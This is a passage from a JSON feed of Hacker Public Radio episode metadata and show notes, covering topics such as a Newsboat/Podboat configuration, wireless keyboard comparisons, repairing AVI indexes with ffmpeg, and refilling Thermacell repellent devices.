                                                            ","hostid":198,"series":106,"explicit":0,"license":"CC-BY-SA","tags":"YouTube, Channels, Subscriptions","version":0,"downloads":0,"valid":1}, {"id":4420,"date":"2025-07-11","title":"The First Doctor, Part 2","duration":706,"summary":"A continuing look at the first Doctor Who.","notes":"\n

                                                            \n This is a further look at the stories of the First Doctor,\n portrayed by William Hartnell, during the 1960s

                                                            \n

                                                            \n Links:

                                                            \n ","hostid":198,"series":124,"explicit":0,"license":"CC-BY-SA","tags":"Science fiction, Doctor Who, William Hartnell","version":0,"downloads":0,"valid":1}, {"id":4421,"date":"2025-07-14","title":"Content Moderation","duration":2569,"summary":"Lee talks to Elsbeth about the role of content moderation on the internet","notes":"\n

                                                            \nFrom Wikipedia - \nhttps://en.wikipedia.org/wiki/Content_moderation\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n\"On websites that allow users to create content, content moderation is the process of detecting contributions that are irrelevant, obscene, illegal, harmful, or insulting. The purpose of content moderation is to remove or apply a warning label to problematic content or allow users to block and filter content themselves.\"

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nFacebook Community Standards - \nhttps://transparency.meta.com/en-gb/policies/community-standards/\n

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nTikTok Community Guidelines - \nhttps://www.tiktok.com/community-guidelines/en\n

                                                            \n\n\n","hostid":403,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"social media, online safety","version":0,"downloads":0,"valid":1}, {"id":4422,"date":"2025-07-15","title":"hajime - part 2 - in depth","duration":1024,"summary":"Hajime episode 2 a more in depth look to it's workings and some questions answered.","notes":"\n

                                                            Where oxo answers some of the questions about hajime

                                                            \n

                                                            oxo/hajime -\n Codeberg.org

                                                            \n

                                                            hajime/prep/make-recov\n at main - oxo/hajime - Codeberg.org

                                                            \n

                                                            hajime/prep/isolatest\n at main - oxo/hajime - Codeberg.org

                                                            ","hostid":448,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"oxo,bash,commandline,archlinux,installation,script,hajime","version":0,"downloads":0,"valid":1}, {"id":4423,"date":"2025-07-16","title":"YouTube Subscriptions 2025 #2","duration":957,"summary":"Part two of my list of subscribed channels","notes":"\n

                                                            \nI am subscribed to a number of YouTube channels, and I am sharing them with you.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \nLinks:

                                                            \n\n

                                                            \n
                                                            \n

                                                            \n\n\n","hostid":198,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"YouTube, Channels, Subscriptions","version":0,"downloads":0,"valid":1}, {"id":4424,"date":"2025-07-17","title":"How I use Newsboat for Podcasts and Reddit","duration":341,"summary":"Archer72 talks about how he uses Newsboat and Podboat together for podcast listening","notes":"\n

                                                            Hello, this is your host, Archer72 for another episode of Hacker\nPublic Radio

                                                            \n

                                                            In this episode, I talk about how I use Newsboat and Podboat for a\ncouple of tasks.

                                                            \n

                                                            I don’t always use Podboat for podcasts, but it is useful when\nlistening from my laptop

                                                            \n

                                                            For my other podcast listening, I used Antennapod

                                                            \n

                                                            Newsboat source of feeds is from a url list in\n~/.config/newsboat/urls

                                                            \n\n\n

                                                            Newsboat url list

                                                            \n\n
                                                            \n\n# (Bible)\nhttps://feeds.feedburner.com/hl-int-tv-en-kjv \"Bible\" (Bible)\n\n# (Reddit) \nhttps://www.reddit.com/r/commandline.rss \"Commandline\" (Reddit)\nhttps://www.reddit.com/r/raspberry_pi.rss \"~Raspberry Pi\" (Reddit)\n\n# (Lemmy)\nhttps://lemmy.sdf.org/feeds/local.xml?sort=New \"Lemmy SDF\" (Lemmy)\n\n# (Podcasts)\nhttp://gnuworldorder.info/ogg.xml \"Gnu_World_Order\"\n\n# Tuxjam.Otherside.Network\nhttps://tuxjam.otherside.network/feed \"TuxJam\"\nhttps://tuxjam.otherside.network/feed/uncut \"TuxJam Uncut\"\nhttps://thebugcast.org/category/podcast/feed \"The Bugcast\"\n\n# Hacker Public Radio\nhttp://hackerpublicradio.org/rss-future.php HackerPublicRadio_future_feed \"~Hacker Public Radio ~ Future feed\" (HPR)\nhttp://hackerpublicradio.org/hpr_ogg_rss.php \"HPR_two_week_feed\" (HPR)\nhttp://hackerpublicradio.org/comments_rss.php HPR_comment_feed \"HPR_Comments\" (HPR)\nhttps://archive.org/services/collection-rss.php?collection=dlarc-hackerpublicradio \"~HPR Amateur Radio - Archive.org\" (HPR)\n\n# Other Tech podcasts\nhttps://feeds.fireside.fm/asknoah/rss \"The Ask Noah Show\"\nhttps://feeds.feedburner.com/urandom-podcast/ogg \"Urandom Podcast\"\nhttps://ubuntu.social/@linuxmatters\n\n# (Youtube)\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC2eYFnH61tmytImy1mTYvhA \"Luke Smith\" (Youtube) \nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCH6ttJZ3T5gA-r_7PYkHk9g \"SGOTI\" (Youtube)\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCVls1GmFKf6WlTraIb_IaJg \"DistroTube\" (Youtube)\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC9x0AN7BWHpCDHSm9NiJFJQ \"Network Chuck\" (Youtube)\n\n# Import from Newpipe\n\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC_SLthyNX_ivd-dmsFgmJVg \"Jeremy Fielding\" (Youtube)\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCJ0-OtVpF0wOKEqT2Z1HEtA \"ElectroBOOM\" (Youtube)\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCv1Kcz-CuGM6mxzL3B1_Eiw \"Gardiner Bryant\" (Youtube)\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC3s0BtrBJpwNDaflRSoiieQ \"Hak5\" (Youtube)\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCR-DXc1voovS8nhAvccRZhg \"Jeff Geerling\" (Youtube)\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCzgA9CBrIXPtkB2yNTTiy1w \"Level 2 Jeff\" (Youtube)\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCLx053rWZxCiYWsBETgdKrQ \"LGR\" (Youtube)\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCXuqSBlHAE6Xw-yeJA0Tunw \"Linus Tech Tips\" (Youtube)\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCm9K6rby98W8JigLoZOh6FQ \"LockPickingLawyer\" (Youtube)\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCjFaPUcJU1vwk193mnW_w1w \"Modern Vintage Gamer\" (Youtube)\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCP8QhVVoM7IKD0YwnvnPPbg \"Pater Practicus\" (Youtube)\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCjr2bPAyPV7t35MvcgT3W8Q \"The Hated One\" (Youtube)\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCo71RUe6DX4w-Vd47rFLXPg \"typecraft\" (Youtube)\n\n## From Mrs. Archer\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCld68syR8Wi-GY_n4CaoJGA \"Brodie Robertson\" (Youtube)\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCg6gPGh8HU2U01vaFCAsvmQ \"Chris Titus Tech\" (Youtube)\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCoryWpk4QVYKFCJul9KBdyw \"Switched To Linux\" (Youtube)\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCJf7AT2BzFT-31z0d-bc8Rg \"Windows, computers and Technology\" (Youtube)\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC5UAwBUum7CPN5buc-_N1Fw \"The Linux Experiment\" (Youtube)\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCmyGZ0689ODyReHw3rsKLtQ \"Michael Tunnell\" (Youtube)\n\n# (News)\nhttps://olfconference.org/feed/ \"OLF Conference\" (News)\n\n
                                                            \n\n\n
                                                            \n

                                                            To organize the url list, tags can be used, along with a description\nof the feed. This only give an internal description, as the Main title\nis determined by the RSS feed itself. This can be manually set, for\nexample, in the HPR Future feed. The default feed title is the same as\nthe feed for two weeks. To set manually, us a tilde ~\nbefore the Feed Title shown in this example. Tags follow the Feed Title,\ntyped in parentheses and with no spaces. Multiple tags can be used\nhere.

                                                            \n
                                                            \n
                                                            http://hackerpublicradio.org/rss-future.php HackerPublicRadio_future_feed "~Hacker Public Radio ~ Future feed" (HPR)
                                                            \n

                                                            Not all feeds in the url list are podcasts. Some are Reddit feeds,\nwhile others are youtube channels.

                                                            \n
                                                            \n

                                                            The first item I go to in the morning is my Bible daily verse. I\nheard one new host mention that he reads some, and thought it might be\ninteresting to include this.

                                                            \n
                                                            \n

                                                            The next 2 entries are from Reddit, and can be modified to contain\nthe rss feed in this way:

                                                            \n
                                                              \n
                                                            • Replace the /r/commandline with /r/commandline.rss
                                                            • \n
                                                            • add \"Title\" and \"(Tag)\"\n
                                                                \n
                                                              • https://www.reddit.com/r/commandline.rss \"Commandline\" (Reddit)
                                                              • \n
                                                            • \n
                                                            \n

                                                            The next entry, which I only include one, is the Lemmy instance for\nlemmy.sdf.org

                                                            \n
                                                            \n

                                                            Lemmy is part of the Fediverse, and became popular after the June\n2023 controversy involving charging excessive money for Reddit’s\nAPI.
                                                            \nThis in turn, caused third party Reddit apps to be no longer viable.

                                                            \n
                                                            \n

                                                            Alternativeto.net - API\nCharging Policy

                                                            \n

                                                            Wikipedia -\nLemmy_(social_network)

                                                            \n

                                                            Next, we’ll start on the ~/.config/newsboat/config\nfile

                                                            \n\n

                                                            Newsboat config file

                                                            \n\n
                                                            \n\n# Podboat\n download-path \"~/Downloads/podcasts/%h/%n\"\n# %h - Hostname\n# %n - Podcast name\n# Example: hub.hackerpublicradio.org\n#          gnuworldorder.info\n#          media.blubrry.com/The Bugcast\n#          archive.org/TuxJam\n download-filename-format \"%n - %t.%u\" \n# %n - Name of the podcast feed\n# %t - Title of the podcast episode\n# %u - Indicates the file extension\n podlist-format \"%4i [%6dMB/%6tMB] [%5p %%] %-10S %b\"\n# Table 7. Available Identifiers for podlist-format\n# %i - Download index, 4 indicating number of digits\n# %6dMB/%6tMB - Downloaded (in MB) / Total file size (in MB)\n# [%5p %%] - Percent downloaded\n#  %-10S - Status - {queued, downloading, ready, played, deleted}\n#\n#  4.18. Format Strings\n#  %b - Boolean string\n\n# load URLS on launch\nauto-reload  yes\n\n# vim binds\nbind-key j down\nbind-key k up\nbind-key j next articlelist\nbind-key k prev articlelist\nbind-key J next-feed articlelist\nbind-key K prev-feed articlelist\nbind-key G end\nbind-key g home\n# bind-key d pagedown - default\nbind-key D pagedown\nbind-key u pageup\nbind-key l open\nbind-key h quit\nbind-key a toggle-article-read\nbind-key n next-unread\nbind-key N prev-unread\n# bind-key D pb-download - default\nbind-key d pb-download\nbind-key U show-urls\nbind-key x pb-delete\n\n# Colors\nhighlight article \"^Feed:.*\" color5 color0 \nhighlight article \"^Title:.*\" color3 color0 bold\nhighlight article \"^Author:.*\" color2 color0\nhighlight article \"^Date:.*\" color223 color0 \nhighlight article \"^Link:.*\" color4 color0 \nhighlight article \"^Flags:.*\" color9 color0                                     \nhighlight article \"\\\\[[0-9][0-9]*\\\\]\" color66 default bold\nhighlight article \"\\\\[image [0-9][0-9]*\\\\]\" color109 default bold\n\n\ncolor listnormal cyan default\ncolor listfocus black yellow standout bold\ncolor listnormal_unread cyan default\ncolor listfocus_unread yellow default bold\ncolor info red black bold\ncolor article cyan default\n\n# macro setup\nbrowser linkhandler\nmacro , open-in-browser\n\n# download-path ~/.newsboat/queue\nplayer \"mpv --vid=no\"\nmacro 1 set browser \"mpv --vid=no\"; one; set browser lynx\n\n# launch video player\nmacro v set browser \"setsid -f mpv\" ; open-in-browser ; set browser linkhandler\n\n# download video\nmacro d set browser \"yt-dlp\"; open-in-browser ; set browser linkhandler\n\n# download audio only\nmacro a set browser \"yt-dlp --embed-metadata -xic -f bestaudio/best\" ; open-in-browser ; set browser linkhandler\n\n\n
                                                            \n\n\n

                                                            When enqueing a podcast for Podboat, I changed the default
                                                            \ndownload path to ~/Downloads/podcasts/ using\ndownload-path \"~/Downloads/podcasts/%h/%n\"

                                                            \n

                                                            Where %h is the Hostname, and %n is the Podcast name

                                                            \n

                                                            The file name is formatted in the following way

                                                            \n

                                                            %n - %t.%u

                                                            \n

                                                            Where %n is the podcast name, %t is the podcast title and %u\nindicates the file extension

                                                            \n

                                                            Finally, there is a custom line for podlist-format which\nfor podcast purposes I won’t list out.

                                                            \n

                                                            This includes a Download index to 4 places, percentage of each\npodcast downloaded, and Podcast status

                                                            \n

                                                            When I use Podboat, after the set of podcasts are enqued I found a\nway to monitor the bluetooth connection,
                                                            \nin order to pause a show with the bluetooth button on an earbud.

                                                            \n

                                                            The first part of this puzzle is to have mpris-proxy,\nwhich is included in the bluez-utils

                                                            \n

                                                            Archwiki - MPRIS

                                                            \n

                                                            Then enable the service with\nsystemctl --user enable mpris-proxy.service and\nsystemctl --user start mpris-proxy.service

                                                            \n

                                                            After that,\ngit clone https://github.com/hoyon/mpv-mpris.git from Github - hoyon/mpv-mpris

                                                            \n

                                                            cd mpv-mpris and make, with the resulting\nmpris.so copied to ~/.config/mpv/scripts/

                                                            \n

                                                            Newsboat documentation

                                                            \n

                                                            Newsboat Documentation page

                                                            \n

                                                            Format strings

                                                            \n

                                                            Newsboat\nDocumentation page - Format Strings

                                                            \n

                                                            \n\n\"Screenshot\n\n

                                                            \n\n\n\r","hostid":318,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Newsboat, Podboat, Bible, Reddit, Lemmy, Youtube, MPRIS, Podcatcher","version":0,"downloads":0,"valid":1}, {"id":4425,"date":"2025-07-18","title":"Introducing Linux Matters","duration":2294,"summary":"Long overdue, we share a teaser of another excellent Creative Commons Podcast.","notes":"\n

                                                            \n About Linux Matters

                                                            \n

                                                            \n \n

                                                            \n

                                                            \n Join 3 experienced Open Source professionals as they discuss the\n impact Linux has in their daily lives. Upbeat family-friendly\n banter, conversation and discussion for Linux enthusiasts and\n casual observers of all ages. A new episode every two weeks\n covering terminal productivity, desktop experience, development,\n gaming, hosting, hardware, community, cloud-native and all the\n Linux Matters that matter.

                                                            \n

                                                            \n Links

                                                            \n ","hostid":30,"series":75,"explicit":0,"license":"CC-BY-NC","tags":"Linux Matters","version":0,"downloads":0,"valid":1}, {"id":4426,"date":"2025-07-21","title":"My Command Line Applications","duration":710,"summary":"Kevie goes over his must have command line applications whenever he installs a new distro","notes":"\n

                                                            \n\nTuxJam\n co-host \nKevie\n goes over the command line applications that he currently uses, January 2025 at the time of recording. These include:

                                                            \n

                                                            \n
                                                            \n

                                                            \n\n

                                                            \n
                                                            \n

                                                            \n\n\n","hostid":296,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"CLI, command line, applications, software","version":0,"downloads":0,"valid":1}, {"id":4427,"date":"2025-07-22","title":"Tale of Two (Wireless) Keyboards","duration":256,"summary":"Comparing my old Logitech K400r with my new Rii K22","notes":"\n

                                                            \n Hi. My name is Moss Bliss, and this is Hacker Public Radio. This\n is my 3rd HPR solo podcast, and you can also hear me on mintCast\n and Full Circle Weekly News most weeks.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n I watch TV via streaming on a Lenovo\n ThinkCentre M700 Tiny. I change streams and services using a\n wireless keyboard, from my recliner across the room. For a couple\n years, I was using a Logitech\n K400r, and it worked pretty well. Good keys, nice touchpad,\n a couple of extra features. It was kind of flimsy though, with\n lots of flex and keys popping off from time to time -- not so much\n of a problem as they popped back on well -- and then the plastic\n on-off slider just wore out. It had a raised strip on the plastic\n slider which served as something to grab with a nail, and it just\n eventually wore down. So I went looking for something perhaps a\n bit sturdier.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n What I found was a Rii Model K22.\n The box had some different numbers in addition to that, and the\n label on the keyboard also had other numbers, but the best way to\n find it is to look for the K22. It was a solid, mostly metal,\n keyboard, so I bought it. No flex to speak of, and the keys are\n made to not pop off.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n There are some caveats. The volume up-down and mute buttons are\n part of the touchpad, not physical buttons, and are not lighted.\n In a dark room, with a black keyboard and touchpad, it can be easy\n to hit the wrong area of the touchpad. Also, I have yet to get the\n scroll feature -- supposedly the right side of the touchpad -- to\n work properly, but most of the time I can scroll with two fingers\n on the touchpad. Also, and I have no clue why, it sometimes brings\n up a menu I've never seen before getting this keyboard. Yes, it's\n pretty easy to make it go away, but still...

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n Unlike the K400r, the K22 has a rechargeable battery built in, and\n charges via USB-C. Also, the touchpad is significantly larger than\n that of the K400r. I have had no problems with touchpad's\n responsiveness, other than the issues already mentioned. I'm not\n really very good with touchpads, so perhaps I just haven't learned\n the features.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n I paid $18 at Walmart for the K400r, although currently on Amazon\n it is going for $39.89 with a cheaper model for $19.99. The\n cheaper model has fewer buttons and a few cutbacks on design\n features. The K400r has a 4.2 star rating, with 67% 5-star and 16%\n 4-star. The Amazon AI reports, \"Customers find the keyboard\n functional and easy to use. They appreciate its responsive keys\n and convenient setup. Many find it a good value for the price,\n lightweight, and convenient to use from the couch. However,\n opinions differ on the size and touchpad responsiveness.\" The\n Logitech is wifi only, but it does come with the ubiquitous\n Logitech wifi dongle.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n The Rii K22 is currently $24.99, minus a 15% coupon as of this\n writing. It has a 3.9 star rating, with 56% 5-star and 15%\n 4-star. Amazon's AI reports, \"Customers find the keyboard works\n well on all devices and has a responsive touchpad. They appreciate\n its compact size and good build quality. However, some customers\n have reported issues with missing keystrokes and keypad\n malfunctions. There are mixed opinions on the touchpad, battery\n life, and typing experience.\" The Rii keyboard can use wifi or\n Bluetooth easily, and comes with a wifi dongle.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n While I'm a touch typist, I don't use this keyboard for typing, so\n I can't comment on its missing keystrokes. I'm sure there are use\n cases where the Rii K22 would not be the best fit, but for my use,\n it is a huge step up from the K400r. The build quality and\n materials alone make it perfect for my use, where I sit in my\n recliner and use it to maneuver my browser and streams, and then\n toss it in the corner when I'm done.

                                                            \n

                                                            \n
                                                            \n

                                                            \n

                                                            \n If you have a need for a wireless keyboard, I hope you will look\n at the Rii K22. But that's it for me this time. Thank you for\n listening, and I hope to be back soon.

                                                            ","hostid":431,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"keyboard, wireless, wifi, bluetooth, rechargable, battery","version":0,"downloads":0,"valid":1}, {"id":4428,"date":"2025-07-23","title":"Fixing AVI Indexes","duration":475,"summary":"How to fix missing or damaged AVI indexes","notes":"\n

                                                            \nI like to download video files from the Internet, and I have faced annoying problem: Broken or missing AVI indexes. My initial search for a solution was turning up paid software, but I persisted and found a nice open source solution using our old friend ffmeg. The command to use on the command line is:

                                                            \n
                                                            \nffmpeg -i input.avi -c copy output.avi\n
                                                            \n

                                                            \nI found this to be very quick and easy, and I got the new output file in seconds.

                                                            \n

                                                            \nLinks

                                                            \n\n

                                                            \n
                                                            \n

                                                            \n\n\n","hostid":198,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"AVI, Indexes","version":0,"downloads":0,"valid":1}, {"id":4429,"date":"2025-07-24","title":"Handcrafting and Bartering discussion w. Elsbeth","duration":2569,"summary":"Elsbeth discusses how to make money as a crafter and how the barter and trade system might be better","notes":"\n

                                                            Elsbeth talks about her passion for crochet and other hand\n crafts, and reflects on the marketing and selling of these items,\n leading her to think about different forms of trade, even in the\n context of software production. She steps through setting up an\n online shop on Etsy.

                                                            \n

                                                            Crochet - a process of creating textiles by using a crochet hook\n to interlock loops of yarn, thread, or strands of other materials.\n - https://en.wikipedia.org/wiki/Crochet

                                                            \n

                                                            Barter - a system of exchange in which participants in a\n transaction directly exchange goods or services for other goods or\n services without using a medium of exchange, such as money - https://en.wikipedia.org/wiki/Barter

                                                            \n

                                                            Open-source bounty - a monetary reward for completing a task in\n an open-source software project - https://en.wikipedia.org/wiki/Open-source_bounty

                                                            \n

                                                            Bug bounty program - a deal offered by many websites,\n organizations, and software developers by which individuals can\n receive recognition and compensation for reporting bugs,\n especially those pertaining to security vulnerabilities - https://en.wikipedia.org/wiki/Bug_bounty_program

                                                            \n

                                                            Gitcoin - one initiative supporting the development of open\n source projects and monetizing open source software through\n bounties - https://www.gitcoin.co/program

                                                            \n

                                                            Etsy, Inc. is an American e-commerce company with an emphasis on\n the selling of handmade or vintage items and craft supplies. - https://en.wikipedia.org/wiki/Etsy\n - https://www.etsy.com

                                                            \n

                                                            Explicit content notice solely for possible language

                                                            ","hostid":446,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"barter, handcrafts, handicrafts, craft, crafting, business, selling, technology,","version":0,"downloads":0,"valid":1}, {"id":4430,"date":"2025-07-25","title":"Playing Civilization V, Part 1","duration":747,"summary":"We start our look at the game mechanics of Civilization V.","notes":"\n

                                                            \n In our first look at the game mechanics for Civilization V we\n start with Cities and Citizen Management, then look a Social\n Policies.

                                                            \n

                                                            \n Links:

                                                            \n ","hostid":198,"series":122,"explicit":0,"license":"CC-BY-SA","tags":"Computer games, strategy games, Civilization V, cities, citizens","version":0,"downloads":0,"valid":1}, {"id":4431,"date":"2025-07-28","title":"Thermosol refill challenges","duration":885,"summary":"Presenter explores Thermosol refill challenges","notes":"\n

                                                            Presenter explores Thermosol refill challenges, proprietary\n adapters, and DIY solutions to optimize mosquito repellent\n efficiency.

                                                            \n

                                                            New Design Metal Refill Adapter For Thermacell Butane Cartridge\n DIY US Shipping

                                                            \n

                                                            https://www.thingiverse.com/thing:4963965\n ( IDK if works ... )

                                                            \n

                                                            https://www.ebay.com/itm/375229842193

                                                            \n

                                                            https://www.ebay.com/itm/256712359477

                                                            \n

                                                            https://www.ebay.com/itm/386734600195

                                                            \n

                                                            https://www.youtube.com/watch?v=r6lAzan0MiU

                                                            \n

                                                            https://www.youtube.com/watch?v=FIf2SMrDY7E

                                                            \n

                                                            Wine Bottle Torch Kit 8 Pack, Includes 8 Long Life Torch Wicks,\n Lamp Cover & Brass Wick Mount(13.7 Inch,Bottle not Included)

                                                            \n

                                                            https://www.amazon.com/Bottle-Torch-Wicks-Copper-Included/dp/B01MSRJJTA\n

                                                            \n

                                                            Aldi

                                                            \n

                                                            https://www.thingiverse.com/thing:4780152

                                                            \n

                                                            https://www.thingiverse.com/thing:2104000

                                                            \n

                                                            IDEAS:

                                                            \n
                                                              \n
                                                            1. \n

                                                              Thermosol mosquito repellent devices require specific refill\n methods.

                                                              \n
                                                            2. \n
                                                            3. \n

                                                              Proprietary butane adapters create refill barriers for\n Thermosol.

                                                              \n
                                                            4. \n
                                                            5. \n

                                                              3D-printed adapters offer a customizable refill solution.

                                                              \n
                                                            6. \n
                                                            7. \n

                                                              Butane refill systems include nozzles tailored to Thermosol\n cartridges.

                                                              \n
                                                            8. \n
                                                            9. \n

                                                              Proprietary check valves in cartridges complicate refills.

                                                              \n
                                                            10. \n
                                                            11. \n

                                                              Pressure management is critical during refilling.

                                                              \n
                                                            12. \n
                                                            13. \n

                                                              Marking the fill line prevents overfilling.

                                                              \n
                                                            14. \n
                                                            15. \n

                                                              O-rings must be carefully removed to access check valves.

                                                              \n
                                                            16. \n
                                                            17. \n

                                                              A wood screw can extract the proprietary check valve.

                                                              \n
                                                            18. \n
                                                            19. \n

                                                              Refilled Thermosol devices often use Chinese-yum pads.

                                                              \n
                                                            20. \n
                                                            21. \n

                                                              Discolored pads indicate the need for replacement.

                                                              \n
                                                            22. \n
                                                            23. \n

                                                              Yard waste storage increases fire risk for Thermosol.

                                                              \n
                                                            24. \n
                                                            25. \n

                                                              \"Slit in the middle\" adapters enable effective refills.

                                                              \n
                                                            26. \n
                                                            27. \n

                                                              Adapter design mimics regular butane cartridge geometry.

                                                              \n
                                                            28. \n
                                                            29. \n

                                                              Fuel escape through slits rather than central tube.

                                                              \n
                                                            30. \n
                                                            31. \n

                                                              Overfilling leads to excessive pressure buildup.

                                                              \n
                                                            32. \n
                                                            33. \n

                                                              Reusing empty Thermosol containers via refills.

                                                              \n
                                                            34. \n
                                                            35. \n

                                                              Combining DIY methods with commercial refill kits.

                                                              \n
                                                            36. \n
                                                            37. \n

                                                              Alternative nozzles may fail without proper adapter.

                                                              \n
                                                            38. \n
                                                            39. \n

                                                              Proprietary valve removal enables long-term cost savings.

                                                              \n
                                                            40. \n
                                                            \n

                                                            RECOMMENDATIONS:

                                                            \n
                                                              \n
                                                            1. \n

                                                              Use 3D-printed adapters for Thermosol refills.

                                                              \n
                                                            2. \n
                                                            3. \n

                                                              Extract proprietary check valves with a wood screw.

                                                              \n
                                                            4. \n
                                                            5. \n

                                                              Mark the fill line to prevent overfilling.

                                                              \n
                                                            6. \n
                                                            7. \n

                                                              Replace o-rings carefully to avoid damage.

                                                              \n
                                                            8. \n
                                                            9. \n

                                                              Store Thermosol in fire-safe containers.

                                                              \n
                                                            10. \n
                                                            11. \n

                                                              Combine DIY slits with commercial nozzles.

                                                              \n
                                                            12. \n
                                                            13. \n

                                                              Swap out discolored pads regularly.

                                                              \n
                                                            14. \n
                                                            15. \n

                                                              Repurpose empty Thermosol containers via refills.

                                                              \n
                                                            16. \n
                                                            17. \n

                                                              Use a tapered object with a central slit for refills.

                                                              \n
                                                            18. \n
                                                            19. \n

                                                              Avoid proprietary adapters by modifying existing nozzles.

                                                              \n
                                                            20. \n
                                                            21. \n

                                                              Pressurize and depressurize during refill cycles.

                                                              \n
                                                            22. \n
                                                            23. \n

                                                              Source affordable Chinese-yum pads for replacements.

                                                              \n
                                                            24. \n
                                                            25. \n

                                                              Inspect valves for one-way check mechanisms.

                                                              \n
                                                            26. \n
                                                            27. \n

                                                              Follow video tutorials for adapter installation.

                                                              \n
                                                            28. \n
                                                            29. \n

                                                              Prioritize sealed containers for long-term storage.

                                                              \n
                                                            30. \n
                                                            31. \n

                                                              Adapt butane lighter attachments for Thermosol.

                                                              \n
                                                            32. \n
                                                            33. \n

                                                              Test refill methods with empty containers first.

                                                              \n
                                                            34. \n
                                                            35. \n

                                                              Document fill line marks for future reference.

                                                              \n
                                                            36. \n
                                                            37. \n

                                                              Compare DIY solutions to commercial refill kits.

                                                              \n
                                                            38. \n
                                                            39. \n

                                                              Advocate for open-standard Thermosol refills.

                                                              \n
                                                            40. \n
                                                            ","hostid":36,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Thermosol, Refill, Adapter, DIY, Mosquito","version":0,"downloads":0,"valid":1}, {"id":4432,"date":"2025-07-29","title":"YouTube Subscriptions 2025 #3","duration":890,"summary":"Part three of my list of subscribed channels","notes":"\n

                                                            \nI am subscribed to a number of YouTube channels, and I am sharing them with you.

                                                            \n

                                                            \nLinks:

                                                            \n\n\n\n","hostid":198,"series":106,"explicit":0,"license":"CC-BY-SA","tags":"YouTube, Channels, Subscriptions","version":0,"downloads":0,"valid":1}, {"id":4433,"date":"2025-07-30","title":"Nerd Responce to URandom Podcast","duration":1626,"summary":"operat0r rambles about his leet setup for his desk and server","notes":"\n

                                                            \n Today we'll be talking about my setup based on a Urandom episode that\n sparked my interest.

                                                            \n

                                                            \n And I'm pretty sure they mentioned in that episode about having a\n KVM or a\n USB switch we're both, but I know there was mention of a KVM, but\n I wanted to ready to know specifically for my setup, what I found\n successful instead of doing the whole KVM thing, or running an\n HDMI cable forever, I found it doing a USB switch and just\n manually pressing the switch on the inputs for your monitor, I've\n worked great for me.

                                                            ","hostid":36,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"audio,video, hardware,automation,AV","version":0,"downloads":0,"valid":1}, {"id":4434,"date":"2025-07-31","title":"Newsboat part 2 - Podcasts and Youtube","duration":432,"summary":"Archer72 talks about Podcasts and Youtube subscriptions in Newsboat and quick tip","notes":"\n

                                                            \n Hello, this is your host, Archer72 for another episode of Hacker\n Public Radio

                                                            \n

                                                            \n In this podcast, I touch on items in my url list on newsboat,\n including both podcasts and youtube channels.

                                                            \n

                                                            \n
                                                            \n

                                                            \n
